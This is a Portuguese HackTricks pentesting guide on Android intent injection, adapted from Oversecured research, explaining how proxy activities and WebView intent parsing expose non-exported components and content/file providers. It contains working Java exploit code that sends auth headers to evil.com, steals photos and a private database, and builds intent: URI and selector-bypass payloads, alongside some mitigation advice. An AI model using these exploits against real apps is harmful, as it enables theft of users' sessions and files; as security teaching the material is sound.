hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

16 KiB
Raw Blame History

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Pesquisa retirada de https://blog.oversecured.com/Android-Access-to-app-protected-components/

Introdução

Esta vulnerabilidade se assemelha ao Open Redirect em segurança web. Como a classe Intent é Parcelable, objetos pertencentes a esta classe podem ser passados como dados extras em outro objeto Intent.
Muitos desenvolvedores fazem uso desta funcionalidade e criam componentes proxy (atividades, receptores de transmissão e serviços) que recebem um Intent embutido e o passam para métodos perigosos como startActivity(...), sendBroadcast(...), etc.
Isso é perigoso porque um atacante pode forçar o aplicativo a iniciar um componente não exportado que não pode ser iniciado diretamente de outro aplicativo, ou conceder ao atacante acesso aos seus provedores de conteúdo. WebView também às vezes converte uma URL de uma string para um objeto Intent, usando o método Intent.parseUri(...), e o passa para startActivity(...).

{% hint style="info" %} Resumindo: Se um atacante pode enviar um Intent que está sendo executado de forma insegura, ele pode potencialmente acessar componentes não exportados e abusar deles. {% endhint %}

Um caso típico

Vamos examinar um exemplo. Fragmento do arquivo AndroidManifest.xml

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Atividade ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Atividade AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity é um exemplo de funcionalidade oculta do aplicativo que executa certas ações inseguras, neste caso passando a sessão de autenticação do usuário para uma URL obtida a partir do parâmetro url.

Restrições de exportação significam que o atacante não pode acessar AuthWebViewActivity diretamente. Uma chamada direta

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

lança uma java.lang.SecurityException, devido à Negativa de Permissão: AuthWebViewActivity não exportado do uid 1337.

Mas o atacante pode forçar a vítima a iniciar o AuthWebViewActivity por si mesma:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

e nenhuma violação de segurança ocorrerá, porque o app que está sob ataque tem acesso a todos os seus próprios componentes. Usando este fragmento de código, o atacante pode contornar as restrições integradas do sistema Android.

Escalada de Impacto

Para escalar o impacto desta vulnerabilidade, você precisa encontrar outras vulnerabilidades/configurações incorretas que possam permitir aumentar o impacto da vulnerabilidade (já que a vulnerabilidade por si só não está criando riscos).

Escalada de ataques via Content Providers

Além do acesso a componentes arbitrários do app original, o atacante pode tentar obter acesso aos Content Providers do app vulnerável que satisfaçam as seguintes condições:

  • ele deve ser não exportado (caso contrário, poderia ser atacado diretamente, sem usar a vulnerabilidade que estamos discutindo neste artigo)
  • ele deve ter a flag android:grantUriPermissions definida como true.
  • android:grantUriPermissions="true" indica que seu código Java pode usar FLAG_GRANT_READ_URI_PERMISSION e FLAG_GRANT_WRITE_URI_PERMISSION para qualquer Uri fornecido por aquele ContentProvider.
  • android:grantUriPermissions="false" indica que apenas os valores de Uri especificados pelos elementos filhos <grant-uri-permission> podem ser usados com FLAG_GRANT_READ_URI_PERMISSION e FLAG_GRANT_WRITE_URI_PERMISSION.

O atacante deve se configurar como o destinatário de um intent embutido e definir as seguintes flags

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permite acesso persistente ao provedor (sem esta flag, o acesso é apenas uma vez)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permite acesso ao URI por prefixo por exemplo, em vez de obter acesso separado repetidamente usando um caminho completo como content://com.victim.provider/image/1, o atacante pode conceder acesso a todo o conteúdo do provedor usando o URI content://com.victim.provider/ e depois usar ContentResolver para endereçar content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permite operações de leitura no provedor (como query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permite operações de escrita

Um exemplo de um provedor típico onde um atacante pode obter acesso e realizar operações regulares como query, update, insert, delete, openFile, openAssetFile

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Exemplo de roubo de fotos do usuário no arquivo AndroidManifest.xml

<activity android:name=".LeakActivity" android:exported="true" />

Arquivo MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Ataques ao Android File Provider

Esta vulnerabilidade também possibilita ao atacante roubar arquivos de aplicativos localizados em diretórios predeterminados pelo desenvolvedor. Para um ataque bem-sucedido, o aplicativo malicioso precisa obter direitos de acesso ao Android File Provider e depois ler o conteúdo do provedor de arquivos usando o Android ContentResolver.

Exemplo de provedor de arquivos (para mais detalhes, consulte https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

Ele fornece acesso de leitura/escrita a arquivos em uma lista especial que pode ser encontrada nos recursos do aplicativo, neste caso em res/xml/provider_paths.xml

Pode parecer algo como

<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>

Cada tag especifica um diretório raiz com um valor path relativo à raiz. Por exemplo, o valor external_files corresponderá a new File(Environment.getExternalStorageDirectory(), "images")

O valor root-path corresponde a /, ou seja, fornece acesso a arquivos arbitrários.

Digamos que temos alguns dados secretos armazenados no arquivo /data/data/com.victim/databases/secret.db: o roubo deste arquivo pode parecer algo como isto MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Acesso a componentes arbitrários via WebView

Um objeto Intent pode ser convertido para uma string com uma chamada a Intent.toUri(flags) e de volta de uma string para um Intent usando Intent.parseUri(stringUri, flags). Essa funcionalidade é frequentemente usada no WebView (o navegador embutido do app): o app pode verificar um esquema intent://, analisar a URL em um Intent e iniciar a atividade.

Essa vulnerabilidade pode ser explorada tanto através de outras vulnerabilidades (por exemplo, a capacidade de abrir links arbitrários no app no WebView diretamente via atividades exportadas ou por meio do mecanismo de deeplink) no app cliente quanto remotamente, incluindo scripting entre sites no lado do servidor ou MitM no lado do cliente.

Exemplo de código vulnerável

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

O ponto aqui é que o método shouldOverrideUrlLoading(...) da classe WebViewClient é chamado toda vez que o WebView tenta carregar um novo link, mas dá ao aplicativo a opção de adicionar um manipulador personalizado.

Para explorar essa vulnerabilidade, o atacante precisa criar um redirecionamento do WebView para uma URL de esquema de intent especialmente preparada. Exemplo de criação de URL

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Exemplo de ataque

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Esta versão contém várias restrições comparadas à versão clássica da vulnerabilidade:

  • Objetos Parcelable e Serializable embutidos não podem ser convertidos para string (eles serão ignorados)
  • As flags inseguras Intent.FLAG_GRANT_READ_URI_PERMISSION e Intent.FLAG_GRANT_WRITE_URI_PERMISSION são ignoradas quando Intent.parseUri(...) é chamado. O analisador só as deixará se a flag Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))) estiver definida, o que é muito raro

Muitos desenvolvedores ainda esquecem de realizar um filtro completo de intents recebidos via WebView

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

O atacante pode especificar um componente não exportado por meio de um seletor

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

E contornar a proteção do aplicativo contra intents explícitos. Portanto, recomendamos também filtrar o seletor.

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

Mas mesmo um filtro completo não garante proteção total, porque um atacante pode criar um intent implícito correspondente ao intent-filter de alguma atividade não exportada. Exemplo de declaração de atividade:

<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

Recomendamos, portanto, verificar se uma atividade está exportada antes de ser iniciada.

Outras formas de criar intents inseguros

Alguns desenvolvedores de aplicativos implementam seus próprios analisadores de intents (muitas vezes para lidar com deeplinks ou mensagens push), usando, por exemplo, objetos JSON, strings ou arrays de bytes, que ou não diferem do padrão ou representam um grande perigo, pois podem expandir objetos Serializable e Parcelable e também permitem a configuração de flags inseguras. O pesquisador de segurança também pode encontrar versões mais exóticas de criação de intents, como converter um array de bytes em um Parcel e depois ler um intent a partir dele.

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Aplicativo Vulnerável

{% embed url="https://github.com/oversecured/ovaa" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: